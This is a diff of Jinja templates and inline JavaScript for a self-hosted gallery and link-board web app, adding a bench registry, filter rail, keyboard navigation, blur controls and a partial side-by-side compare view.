{% endif %}
|
||||
{# r2b D2b + D2: the booth-wide blur controls, outside every data-region.
|
||||
The fog is server state for every viewer and a plain form (works with
|
||||
scripts off); its label says what IS. Reveal all lifts it for this tab
|
||||
only, and is markup only when something here is blurred. A BOARD gets
|
||||
them too when it holds files: only the one-click wipe is board-suppressed,
|
||||
and an item's "◉ booth" label points here. #}
|
||||
{% if all_items %}
|
||||
{# The fog form IS a region: its label is server state, so an in-place save
|
||||
refreshes it with everything else (a fog set elsewhere since this page
|
||||
loaded would otherwise leave it saying "blur booth"). Reveal all is not:
|
||||
its state lives in this tab, and a swap must never reset it. #}
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item blur stays as it was' if booth_blurred else 'blur every image and video in this booth — cosmetic only, the files are still served' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
|
||||
</form></span>
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
{% endif %}
|
||||
{% if not board %}
|
||||
<form class="wipe wipe-lg" method="post" action="/b/{{ name_url }}/delete"
|
||||
@@ -109,8 +145,86 @@
|
||||
a gallery, and the add-note control would be noise on it — but the
|
||||
suppression was unconditional, so a pick declared on a booth that happens to
|
||||
carry a links.md had no form to answer it and nothing said so. #}
|
||||
{% if marks or not board %}
|
||||
{# R2 C5: on a GALLERY booth the panel moves into the verdict aside beside the
|
||||
set (below). It renders up here only where there is no set to sit beside —
|
||||
a board, or a booth with marks and nothing to show. #}
|
||||
{# `is_board`, not `board`: PAGE IDENTITY, not page content — the lesson the
|
||||
bench panel already learned. `board` is the parsed rows, empty for a
|
||||
links.md with none, and a board with an image in it must still be a board. #}
|
||||
{% set lightbox = all_items and not is_board %}
|
||||
{% if (marks or not board) and not lightbox %}
|
||||
<div class="marks-panel" data-region="marks-panel">
|
||||
{% include "_marks.html" %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{# THE BENCH REGISTRY — BLOCK LEVEL, and that placement is load-bearing.
|
||||
This <div> spent one commit nested inside the `<span class="sub">` of the
|
||||
booth header, because the insertion matched the FIRST `{% if board %}` in
|
||||
the file rather than the block-level one. A <div> inside a <span> is
|
||||
invalid HTML: the parser closes the span implicitly and hoists the div
|
||||
out, orphaning the rest of the sub-line. Three of four cold bug-hunt arms
|
||||
found it and the seat confirmed it in the live document by byte offset.
|
||||
Keep this block between the marks panel and the board form. #}
|
||||
{% if is_board %}
|
||||
{# THE BENCH REGISTRY. A bench is a running thing — jackdaw's current bench,
|
||||
talk's current bench, the things that get promoted to Homepage when they
|
||||
are fully deployed. NOT a booth (a booth announces itself and is swept) and
|
||||
NOT a bookmark (a repo page, a model card — those stay on the board below).
|
||||
|
||||
Identity is the NORMALIZED URL, so re-announcing a bench updates its row
|
||||
instead of appending a fifth. `talk` was on the board five times.
|
||||
|
||||
ORDER: state (live → promoted → retired), then name, then id as a total
|
||||
tie-break so two benches sharing a name cannot swap between renders.
|
||||
|
||||
The href is `b.url` — the URL AS POSTED — never `b.id`. The id is
|
||||
normalized for identity; a server that cares about a trailing slash or a
|
||||
case-sensitive path would 404 on it. #}
|
||||
<div class="benches">
|
||||
<div class="bench-head">
|
||||
<span class="bench-title">{{ benches|length }} bench{{ '' if benches|length == 1 else 'es' }}</span>
|
||||
<span class="bench-note">a running thing, registered · re-posting updates the row</span>
|
||||
</div>
|
||||
{% if benches_error %}
|
||||
{# DAMAGED AND ABSENT MUST NOT RENDER THE SAME. Only one of them needs a
|
||||
human, and the v0.2.2 outage was learned by treating them alike. #}
|
||||
<div class="bench-err">the bench registry could not be read: {{ benches_error }}</div>
|
||||
{% elif not benches %}
|
||||
<div class="bench-empty">no benches registered yet — <code>booth bench add <url> <name></code></div>
|
||||
{% endif %}
|
||||
{% for b in benches %}
|
||||
<div class="bench-row is-{{ b.state }}">
|
||||
<span class="bench-state">{{ b.state }}</span>
|
||||
<div class="bench-main">
|
||||
<a class="bench-link" href="{{ b.url }}" target="_blank" rel="noopener">{{ b.name or b.url }}</a>
|
||||
<div class="bench-url">{{ b.url }}</div>
|
||||
</div>
|
||||
<div class="bench-meta">
|
||||
{% if b.owner %}<span class="bench-who">{{ b.owner }}</span>{% endif %}
|
||||
{# The date it was REGISTERED, not the date it was last touched: `added`
|
||||
survives re-registration and `updated` does not, so `added` is the
|
||||
one that answers "how long has this been around". #}
|
||||
{% if b.added %}<span class="bench-when">{{ b.added[:10] }}</span>{% endif %}
|
||||
</div>
|
||||
<form class="bench-acts" method="post" action="/b/{{ name_url }}/bench-state">
|
||||
<input type="hidden" name="bench" value="{{ b.id }}">
|
||||
{% for s in ("live", "promoted", "retired") %}
|
||||
{% if s != b.state %}
|
||||
<button type="submit" name="state" value="{{ s }}" class="bench-to">{{ s }}</button>
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
<button type="submit" class="bench-rm" formaction="/b/{{ name_url }}/bench-remove"
|
||||
title="remove this bench">×</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endfor %}
|
||||
<form class="bench-add" method="post" action="/b/{{ name_url }}/bench-add">
|
||||
<input type="url" name="url" placeholder="https://host:port/" required>
|
||||
<input type="text" name="name" placeholder="what it is">
|
||||
<button type="submit">register</button>
|
||||
</form>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
{% if board %}
|
||||
@@ -143,14 +257,23 @@
|
||||
formaction="/b/{{ name_url }}/unlink-many">🗑 delete <span id="board-selcount">0</span></button>
|
||||
</div>
|
||||
{% for e in board %}
|
||||
<div class="board-row{% if e.pinned %} is-pinned{% endif %}">
|
||||
{# DEAD: the row points at a booth that has been swept. 156 of 221 rows.
|
||||
MARKED, never removed — removal is the operator ticking the box and using
|
||||
the bulk control that was already here. #}
|
||||
<div class="board-row{% if e.pinned %} is-pinned{% endif %}{% if e.dead %} board-dead{% endif %}">
|
||||
<input class="board-check" type="checkbox" name="sel" value="{{ e.id }}" aria-label="select {{ e.desc }}">
|
||||
<button type="submit" class="board-pin{% if e.pinned %} on{% endif %}" formaction="/b/{{ name_url }}/pin"
|
||||
name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}"
|
||||
title="{{ 'unpin' if e.pinned else 'pin to top' }}">{{ '★' if e.pinned else '☆' }}</button>
|
||||
<div class="board-main">
|
||||
<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
<div class="board-url">{{ e.url }}</div>
|
||||
{% if e.safe %}<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
{%- else -%}
|
||||
{# Refused, not hidden: the operator should see that something was posted
|
||||
and that we would not link it. `is_safe_href` decides, in links.py. #}
|
||||
<span class="board-link board-unsafe" title="refused: not an http(s) link">{{ e.desc }}</span>
|
||||
<span class="board-dead-tag">unsafe link refused</span>
|
||||
{%- endif %}
|
||||
<div class="board-url">{{ e.url }}{% if e.dead %} <span class="board-dead-tag">booth is gone</span>{% endif %}</div>
|
||||
</div>
|
||||
<div class="board-meta">
|
||||
{% if e.who %}<span class="board-who">{{ e.who }}</span>{% endif %}
|
||||
@@ -165,20 +288,88 @@
|
||||
</form>
|
||||
{% endif %}
|
||||
|
||||
{% if not items and not board and not marks %}
|
||||
{# ⚠ THE RAIL IS GATED ON `all_items`, NOT `items`, AND THAT IS THE WHOLE
|
||||
POINT. `items` is the FILTERED list, so gating on it meant a valid filter
|
||||
with zero hits removed the rail, the filter links and the only way back to
|
||||
`all` — while the empty-booth branch below announced the booth was empty
|
||||
with `rail.total` still holding the real count. No recovery without editing
|
||||
the address bar, and it failed the same way with JavaScript off, on the
|
||||
surface the operator actually reviews on.
|
||||
|
||||
Found by the heid bug-hunt panel (gróa, 2026-09-22), whose own note called
|
||||
it the finding most likely to bite users this week. #}
|
||||
{% if not all_items and not board and not marks %}
|
||||
<div class="empty">This booth is empty.</div>
|
||||
{% elif items %}
|
||||
{% elif all_items %}
|
||||
{# THE LIGHTBOX (R2 C5). The verdict aside comes FIRST in the document and the
|
||||
set second: on a narrow screen that is the stacking the contract wants
|
||||
(the question above the work), and on a wide one the grid areas in
|
||||
base.html put the aside on the right. Placement, not order — nothing in an
|
||||
ordered collection moves. #}
|
||||
{% if lightbox %}
|
||||
<div class="lightbox">
|
||||
<aside class="verdict" data-region="verdict" aria-label="your verdict">
|
||||
{% include "_marks.html" %}
|
||||
</aside>
|
||||
<div class="lb-set">
|
||||
{% endif %}
|
||||
{# `elif items` and not a bare `else`: a board booth has NO gallery items (its
|
||||
links.md is rendered as the board above and filtered out), so a plain else
|
||||
would emit an empty <div class="gallery"> under the board. #}
|
||||
<div class="gallery">
|
||||
{# THE RAIL. Totals and per-filter counts, as LINKS with a query parameter —
|
||||
resolved server-side, so the whole thing works with JavaScript off. The
|
||||
gallery is the surface the operator actually reviews on and U3 already
|
||||
cost the verbatim path its no-JS operation; this one does not repeat that.
|
||||
|
||||
ORDER: the declaration order of FILTERS in app.py. A rail is an ordered
|
||||
collection and invariant 6 binds to it like any other.
|
||||
|
||||
THE GROUP ROW is `rail.groups`, which is EMPTY unless grouping is
|
||||
informative — see `_groups` in app.py. `{% raw %}{% if rail.groups %}{% endraw %}`
|
||||
is therefore the whole guard; the two degenerate cases (one group for
|
||||
everything, one group per item) are decided in Python, where they can be
|
||||
measured, rather than by a count in a template. #}
|
||||
<div class="rail" data-region="filters">
|
||||
<span class="rail-total">{{ rail.total }} item{{ '' if rail.total == 1 else 's' }}</span>
|
||||
{% for f in rail.counts %}
|
||||
<a class="rail-f{% if f.key == filter %} on{% endif %}"
|
||||
data-filter="{{ f.key }}"
|
||||
href="/b/{{ name_url }}/{% if f.key != 'all' %}?filter={{ f.key }}{% endif %}"
|
||||
{% if f.key == filter %}aria-current="true"{% endif %}>{{ f.key }} <b>{{ f.n }}</b></a>
|
||||
{% endfor %}
|
||||
{% if rail.groups %}
|
||||
<nav class="rail-groups" aria-label="jump to group">
|
||||
{% for g in rail.groups %}
|
||||
{# The anchor is the first member's EXISTING tile id, so a group has one
|
||||
identity on the page rather than two. Plain fragment links: no JS,
|
||||
and the browser's own back button undoes the jump. #}
|
||||
<a class="rail-g" data-group="{{ g.key }}"
|
||||
href="#{{ g.anchor }}">{{ g.key }} <b>{{ g.n }}</b></a>
|
||||
{% endfor %}
|
||||
</nav>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% if not items %}
|
||||
{# An empty FILTER, not an empty booth. The rail above is still rendered, so
|
||||
the way back to `all` is one click. #}
|
||||
<div class="empty">No items match the <b>{{ filter }}</b> filter.
|
||||
<a href="/b/{{ name_url }}/">show all {{ rail.total }}</a></div>
|
||||
{% endif %}
|
||||
{% set group_n = {} %}{% for g in rail.groups %}{% set _ = group_n.update({g.key: g.n}) %}{% endfor %}
|
||||
<div class="gallery" id="grid" tabindex="-1">
|
||||
{% for it in items %}
|
||||
{# R2 C5: an inline header before each group's FIRST tile, only when the
|
||||
rail thinks grouping is informative. A <div> spanning the grid, never a
|
||||
figure.item, so the keyboard and the order check are blind to it. #}
|
||||
{% if inline_groups and it.group and (loop.first or loop.previtem.group != it.group) %}
|
||||
<div class="grp-head" aria-hidden="true"><span class="grp-key">{{ it.group }}</span> <span class="grp-n">{{ group_n.get(it.group, '') }}</span></div>
|
||||
{% endif %}
|
||||
{% if it.doc and it.rendered is not none %}
|
||||
{# Docs render INLINE, collapsible, and closable — not a link to a
|
||||
separate page. <details open> is native collapse (works with JS off);
|
||||
the ✕ hides the item for the session (JS, progressive enhancement).
|
||||
The item spans the full grid width so prose has room to read. #}
|
||||
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.name }}">
|
||||
<figure class="item item-doc{% if it.blurred %} blurred{% endif %}" data-name="{{ it.name }}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
|
||||
{% if it.blurred %}
|
||||
{# Inline docs need this MORE than images, not less: a rendered doc puts
|
||||
its text straight on the page, so "blur the picture" logic that skips
|
||||
@@ -189,6 +380,7 @@
|
||||
<details class="doc-inline" open>
|
||||
<summary class="doc-bar">
|
||||
<span class="doc-chevron" aria-hidden="true">▸</span>
|
||||
{{ ordinal(it) }}
|
||||
<span class="doc-name">{{ it.name }}</span>
|
||||
<span class="doc-spacer"></span>
|
||||
<a class="doc-act" href="view?f={{ it.url }}" title="open full page">⤢</a>
|
||||
@@ -211,7 +403,8 @@
|
||||
</details>
|
||||
</figure>
|
||||
{% else %}
|
||||
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if item_marks.get(it.name, []) | selectattr('shape', 'equalto', 'flag') | list %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.name }}">
|
||||
<figure class="item item-{{ it.kind }}{% if it.blurred %} blurred{% endif %}{% if it.name in flagged_set %} is-flagged{% endif %}" data-item="{{ it.name }}" id="item-{{ it.url }}" data-region="item-{{ it.url }}">
|
||||
{{ ordinal(it) }}
|
||||
{% if it.blurred %}
|
||||
{# Click-to-reveal is per-viewer and client-side: nothing is persisted, so
|
||||
a reload re-hides it. No-JS degrades to STAYS BLURRED, which is the
|
||||
@@ -219,7 +412,7 @@
|
||||
<button type="button" class="reveal" aria-label="reveal {{ it.name }}">👁 reveal</button>
|
||||
{% endif %}
|
||||
{% if it.kind == 'image' %}
|
||||
<a href="view?f={{ it.url }}"><img loading="lazy" src="{{ it.url }}" alt="{{ it.name }}"></a>
|
||||
<a href="view?f={{ it.url }}"><img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="{{ it.name }}"></a>
|
||||
{% elif it.kind == 'video' %}
|
||||
{# preload="none": a booth of a dozen webms was fetching them
|
||||
all at page load ("metadata" still pulls real ranges per
|
||||
@@ -246,6 +439,10 @@
|
||||
<figcaption>
|
||||
<a class="dl-link" href="{{ it.url }}" download title="download {{ it.name }}">⬇</a>
|
||||
<span class="cap-text">{{ it.caption or it.name }}</span>
|
||||
{# R2: every MEDIA tile links into the review — a picture through its
|
||||
image, sound and video through this. Enter on the grid cursor
|
||||
follows the first `view` link on the tile. #}
|
||||
{% if it.kind in ('video', 'audio') %}<a class="rv-link" href="view?f={{ it.url }}" title="review at full size">⤢ review</a>{% endif %}
|
||||
{{ blurtoggle(name_url, it) }}
|
||||
{{ markcontrols(name_url, it, item_marks.get(it.name, [])) }}
|
||||
</figcaption>
|
||||
@@ -255,8 +452,104 @@
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% if lightbox %}
|
||||
</div>{# .lb-set #}
|
||||
</div>{# .lightbox #}
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% if items %}
|
||||
<script id="gridkeys">
|
||||
/* GRID KEYBOARD — U7. Additive by construction: every action it reaches is a
|
||||
control that already exists on the tile and already works with a mouse, so
|
||||
the page is complete without this file. It is bound ONLY when there is a
|
||||
grid ({% raw %}{% if items %}{% endraw %} above): binding it on the standing
|
||||
link board would swallow `f` and flag nothing.
|
||||
|
||||
Focus moves in RENDER ORDER, which is the item order filtered by the current
|
||||
filter and never re-sorted — so `→` walks the grid in the same sequence the
|
||||
operator reads it, and the same sequence the zoom ring uses. */
|
||||
(function () {
|
||||
var grid = document.getElementById('grid');
|
||||
if (!grid) return;
|
||||
var tiles = function () { return [].slice.call(grid.querySelectorAll('figure.item')); };
|
||||
var at = -1;
|
||||
function focus(i) {
|
||||
var t = tiles();
|
||||
if (!t.length) return;
|
||||
at = Math.max(0, Math.min(i, t.length - 1));
|
||||
t.forEach(function (el, j) { el.classList.toggle('is-cursor', j === at); });
|
||||
t[at].scrollIntoView({ block: 'nearest' });
|
||||
}
|
||||
function current() { var t = tiles(); return at >= 0 && at < t.length ? t[at] : null; }
|
||||
/* WHERE THE CURSOR STARTS WHEN THERE ISN'T ONE. Starting at tile 0
|
||||
unconditionally meant the first arrow key after ANY scroll yanked the
|
||||
viewport back to the top — and a group jump is a scroll, so `→` right
|
||||
after a jump silently undid it. Found by the heid bug-hunt panel (gróa),
|
||||
2026-09-22; the general scroll-then-arrow case is the same defect.
|
||||
|
||||
The first tile whose bottom edge clears the sticky rail is the one the
|
||||
reader is looking at, so that is where the cursor picks up. */
|
||||
function fromViewport() {
|
||||
/* ⚠ `.rail` IS A CROSS-FILE CONTRACT, read by two scripts in two files
|
||||
owned by two different agents: this one, and the --rail-h measuring
|
||||
script in base.html that publishes the rail's height for
|
||||
`scroll-margin-top` (the rail wraps, so no CSS number can know it).
|
||||
RENAMING IT BREAKS BOTH, and neither breaks loudly — this one falls back
|
||||
to treating the viewport top as the boundary and starts the cursor one
|
||||
tile too high; that one falls back to a fixed guess. base.html carries
|
||||
the mirror of this note above the `.rail` rule. Agreed with design-dev
|
||||
2026-09-23 during the SVOS retheme, which is the change that made the
|
||||
selector load-bearing in two places instead of one. */
|
||||
var t = tiles(), rail = document.querySelector('.rail');
|
||||
var top = rail ? rail.getBoundingClientRect().bottom : 0;
|
||||
for (var i = 0; i < t.length; i++) {
|
||||
if (t[i].getBoundingClientRect().bottom > top) return i;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
function click(sel) {
|
||||
var el = current(); if (!el) return;
|
||||
var b = el.querySelector(sel); if (b) b.click();
|
||||
}
|
||||
document.addEventListener('keydown', function (e) {
|
||||
/* Never steal a key the operator is typing into a note or a URL bar. */
|
||||
var tag = (e.target.tagName || '').toLowerCase();
|
||||
if (tag === 'input' || tag === 'textarea' || e.target.isContentEditable) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
switch (e.key) {
|
||||
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1); e.preventDefault(); break;
|
||||
case 'ArrowLeft': focus(at < 0 ? fromViewport() : at - 1); e.preventDefault(); break;
|
||||
/* `.flagbtn` never existed in this repo, so this fell through to the
|
||||
HIDDEN target input — and clicking a hidden input does not submit its
|
||||
form. `f` has never worked, while still swallowing the keystroke.
|
||||
Found by the heid bug-hunt panel (hulda), 2026-09-22. */
|
||||
case 'f': click('.flagtoggle button'); e.preventDefault(); break;
|
||||
case 'n': var el = current();
|
||||
/* The add-note field lives in a closed <details> (270 tiles
|
||||
must not each carry an open textarea); a closed one cannot
|
||||
take focus, so open it first. */
|
||||
var d = el && el.querySelector('details.item-addnote');
|
||||
if (d) d.open = true;
|
||||
if (el) { var f = el.querySelector('input[type=text], textarea');
|
||||
if (f) { f.focus(); e.preventDefault(); } }
|
||||
break;
|
||||
case 'Enter': click('a[href^="view"]'); break;
|
||||
case 'Escape':
|
||||
tiles().forEach(function (x) { x.classList.remove('is-cursor'); });
|
||||
at = -1; break;
|
||||
}
|
||||
});
|
||||
/* R2 C3: an in-place save swaps the tiles for fresh server-rendered ones,
|
||||
and the cursor is client state the server cannot render. Put it back on
|
||||
the same position — the order did not change, only the judgment. */
|
||||
document.addEventListener('booth:swapped', function () {
|
||||
if (at < 0) return;
|
||||
tiles().forEach(function (el, j) { el.classList.toggle('is-cursor', j === at); });
|
||||
});
|
||||
})();
|
||||
</script>
|
||||
{% endif %}
|
||||
<script>
|
||||
/* Copy-to-clipboard for any .copy-btn[data-copy]. The Booth serves over plain
|
||||
HTTP on a LAN IP, where navigator.clipboard is undefined (secure-context
|
||||
@@ -290,17 +583,30 @@
|
||||
});
|
||||
})();
|
||||
|
||||
/* Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
|
||||
/* TILE CONTROLS, bound per node and RE-BOUND after an in-place swap (R2 C3):
|
||||
the swap puts fresh server-rendered tiles in the page, and a handler bound
|
||||
to the node it replaced goes with that node. `__bound` keeps a node from
|
||||
being bound twice.
|
||||
|
||||
Inline-doc ✕ closes (hides) a rendered doc for the session. The button sits
|
||||
inside <summary>, so without this its click would just toggle the <details>
|
||||
open/closed — stopPropagation + preventDefault make ✕ mean "close", not
|
||||
"collapse". Collapse stays available via the rest of the summary bar. With
|
||||
JS off the button is inert and collapse via <details> still works. */
|
||||
(function () {
|
||||
JS off the button is inert and collapse via <details> still works.
|
||||
|
||||
Blur reveal. WARNING: this handler previously sat after the content block's
|
||||
closing tag, which in a child template Jinja DISCARDS — the button rendered
|
||||
and did nothing, and two commits plus a README claimed click-to-reveal
|
||||
worked. Anything that must reach the page belongs inside the content
|
||||
block. Per-viewer and never persisted: a reload re-hides. */
|
||||
function bindTiles() {
|
||||
function once(el) { if (el.__bound) return false; el.__bound = true; return true; }
|
||||
/* A form inside <summary> would otherwise collapse the doc on submit. */
|
||||
document.querySelectorAll('.doc-bar .blurtoggle').forEach(function (f) {
|
||||
f.addEventListener('click', function (ev) { ev.stopPropagation(); });
|
||||
document.querySelectorAll('.doc-bar .blurtoggle, .doc-bar .flagtoggle').forEach(function (f) {
|
||||
if (once(f)) f.addEventListener('click', function (ev) { ev.stopPropagation(); });
|
||||
});
|
||||
document.querySelectorAll('.doc-close').forEach(function (btn) {
|
||||
if (!once(btn)) return;
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
@@ -308,8 +614,25 @@
|
||||
if (item) item.classList.add('is-closed');
|
||||
});
|
||||
});
|
||||
})();
|
||||
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
|
||||
var fig = btn.closest('.item');
|
||||
/* a swap carries `revealed` across (base.html); the label follows it */
|
||||
btn.textContent = fig.classList.contains('revealed') ? '🙈 hide' : '👁 reveal';
|
||||
if (!once(btn)) return;
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
var on = fig.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal';
|
||||
});
|
||||
});
|
||||
}
|
||||
bindTiles();
|
||||
document.addEventListener('booth:swapped', bindTiles);
|
||||
|
||||
/* RESTORED (heid bug-hunt, 2/4): R2's rewrite of the tile handlers above
|
||||
deleted this block with them. Its confirmations guard destructive
|
||||
actions, so it is back verbatim. */
|
||||
/* Link-board multi-select. PROGRESSIVE ENHANCEMENT: the checkboxes, the per-row
|
||||
× / ★, and the bulk 🗑 all submit as plain form POSTs with JS off — this only
|
||||
adds select-all, a live count, and disabling 🗑 when nothing is ticked. The
|
||||
@@ -354,10 +677,26 @@
|
||||
});
|
||||
}
|
||||
|
||||
/* ⚠ THE DIALOG'S TEXT IS WHAT THE OPERATOR APPROVES, and a board row's
|
||||
description and URL are written by any of seventeen agent handles. A bidi
|
||||
override (U+202E) or a newline in either REWRITES what he reads before
|
||||
consenting to a delete — the row shown is not the row removed. Escaping
|
||||
protects the PAGE; `confirm` renders a plain string and escaping does
|
||||
nothing for it.
|
||||
|
||||
Controls and bidi formatting render as U+FFFD: visibly mangled, never
|
||||
silently re-ordered. Same treatment and same helper shape as the wipe
|
||||
dialog on the Desk (design-dev, round Slate, who found this one too). */
|
||||
function shown(n) {
|
||||
return String(n).replace(
|
||||
/[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u202a-\u202e\u2066-\u2069]/g,
|
||||
'\ufffd');
|
||||
}
|
||||
|
||||
form.querySelectorAll('.board-rm-btn').forEach(function (btn) {
|
||||
btn.addEventListener('click', function (ev) {
|
||||
var d = btn.getAttribute('data-desc') || '';
|
||||
var u = btn.getAttribute('data-url') || '';
|
||||
var d = shown(btn.getAttribute('data-desc') || '');
|
||||
var u = shown(btn.getAttribute('data-url') || '');
|
||||
if (!confirm('Remove this link?\n\n' + d + '\n' + u + '\n\nThe rest of the board is untouched.')) {
|
||||
ev.preventDefault();
|
||||
}
|
||||
@@ -366,22 +705,5 @@
|
||||
|
||||
refresh();
|
||||
})();
|
||||
|
||||
/* Blur reveal. WARNING: this handler previously sat after the content
|
||||
block's closing tag, which in a
|
||||
child template Jinja DISCARDS — the button rendered and did nothing, and
|
||||
two commits plus a README claimed click-to-reveal worked. Anything that
|
||||
must reach the page belongs inside the content block. Verified now by
|
||||
grepping the SERVED html for this function, not the template for the text.
|
||||
Per-viewer and never persisted: a reload re-hides. */
|
||||
document.querySelectorAll('.item.blurred .reveal').forEach(function (btn) {
|
||||
btn.addEventListener('click', function (ev) {
|
||||
ev.preventDefault();
|
||||
ev.stopPropagation();
|
||||
var fig = btn.closest('.item');
|
||||
var on = fig.classList.toggle('revealed');
|
||||
btn.textContent = on ? '🙈 hide' : '👁 reveal';
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
|
||||
@@ -0,0 +1,273 @@
|
||||
{% extends "base.html" %}
|
||||
{% block title %}{{ sides.a.rel }} · {{ sides.b.rel }} · compare · {{ name }} · The Booth{% endblock %}
|
||||
{# data-booth: without it Reveal all's script and the head script's reveal
|
||||
restore both bail (r3 C6). #}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{# COMPARE (R3). Two items of the review ring side by side, one judgment each:
|
||||
flag the winner. The pair is two rels in the URL, always (INV-1); the active
|
||||
side and the linked stepping ride the URL as view state. Everything a mark
|
||||
can change is a `data-region` keyed by SIDE, never by rel (`a == b` would
|
||||
duplicate it) and never `item-` (the swap reads that as a stale tile). THE
|
||||
STAGES NEVER ARE: swapping one would restart a playing track.
|
||||
The root carries `review` so the review's blur, 1:1 and Reveal-all rules
|
||||
apply unchanged; `.compare` overrides its grid. #}
|
||||
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
|
||||
{% block content %}
|
||||
<div class="viewer review compare" data-linked="{{ '1' if linked else '0' }}">
|
||||
<div class="vbar">
|
||||
<a class="vbtn vx" href="{{ back_url }}" title="back to the review of A (Esc)">✕</a>
|
||||
<span class="vname">compare <span class="cmp-vs"><span class="ord">{{ num(sides.a.ordinal) }}</span> · <span class="ord">{{ num(sides.b.ordinal) }}</span></span></span>
|
||||
<span class="vspacer"></span>
|
||||
<a class="vbtn cmp-step" data-step="both-prev" href="{{ steps.both_prev }}" title="both back (←)" aria-label="both back">‹‹</a>
|
||||
<a class="vbtn cmp-step" data-step="both-next" href="{{ steps.both_next }}" title="both forward (→)" aria-label="both forward">››</a>
|
||||
{# JS-only, like the stage toggle: without JS there are no keys to link,
|
||||
and the per-side and both-sides links above step either way. #}
|
||||
<button type="button" class="vbtn cmp-link" id="cmp-link" aria-pressed="{{ 'true' if linked else 'false' }}" hidden
|
||||
title="linked: ← and → move both sides (L)">{{ '⛓ linked' if linked else '⛓ unlinked' }}</button>
|
||||
{% if any_image %}
|
||||
<span class="vtoggle" id="vtoggle" hidden>
|
||||
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows (Z)">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" title="natural pixels — drag to pan; both stages pan together (Z)">1:1</button>
|
||||
</span>
|
||||
{% endif %}
|
||||
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
|
||||
</div>
|
||||
|
||||
<div class="cmp-body">
|
||||
{% for key in ('a', 'b') %}{% set s = sides[key] %}{% set L = key | upper %}
|
||||
<section class="cmp-side{% if active == key %} is-active{% endif %}" data-side="{{ key }}" aria-label="side {{ L }}">
|
||||
<div class="cmp-head">
|
||||
<a class="cmp-step" data-step="{{ key }}-prev" href="{{ steps[key ~ '_prev'] }}" title="{{ L }} back" aria-label="{{ L }} back">‹</a>
|
||||
<div class="cmp-label" data-region="label-{{ key }}"><span class="cmp-letter">{{ L }}</span> <span class="ord">{{ num(s.ordinal) }}</span> <span class="cmp-name" title="{{ s.rel }}">{{ s.rel }}</span>{% if s.flagged %} <span class="cmp-flagged">✔ flagged</span>{% endif %}</div>
|
||||
<a class="cmp-step" data-step="{{ key }}-next" href="{{ steps[key ~ '_next'] }}" title="{{ L }} forward" aria-label="{{ L }} forward">›</a>
|
||||
<a class="cmp-review" href="{{ s.review }}" title="the full review of {{ s.rel }}">review {{ L }}</a>
|
||||
</div>
|
||||
<div class="cmp-stagewrap">
|
||||
<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}{% if s.blurred %} is-blurred{% endif %}" data-side="{{ key }}">
|
||||
{% if s.kind == 'image' %}<img src="{{ s.url }}" alt="{{ s.rel }}" draggable="false">
|
||||
{% elif s.kind == 'video' %}<video class="cmp-media" controls preload="metadata" src="{{ s.url }}"></video>
|
||||
{% else %}<audio class="cmp-media" controls preload="metadata" src="{{ s.url }}"></audio>
|
||||
{% endif %}
|
||||
</div>
|
||||
{# Over the stage, never inside its scrolled content; JS-only, so
|
||||
`hidden` until bound (the review's pattern). #}
|
||||
{% if s.blurred %}<button type="button" class="reveal cmp-reveal" data-side="{{ key }}" aria-label="reveal {{ L }}" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
|
||||
</div>
|
||||
<div class="cmp-foot">
|
||||
<div class="cmp-flag" data-region="flag-{{ key }}">
|
||||
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ s.rel }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if s.flagged else '1' }}">
|
||||
<input type="hidden" name="back" value="compare">
|
||||
<input type="hidden" name="a" value="{{ sides.a.rel }}">
|
||||
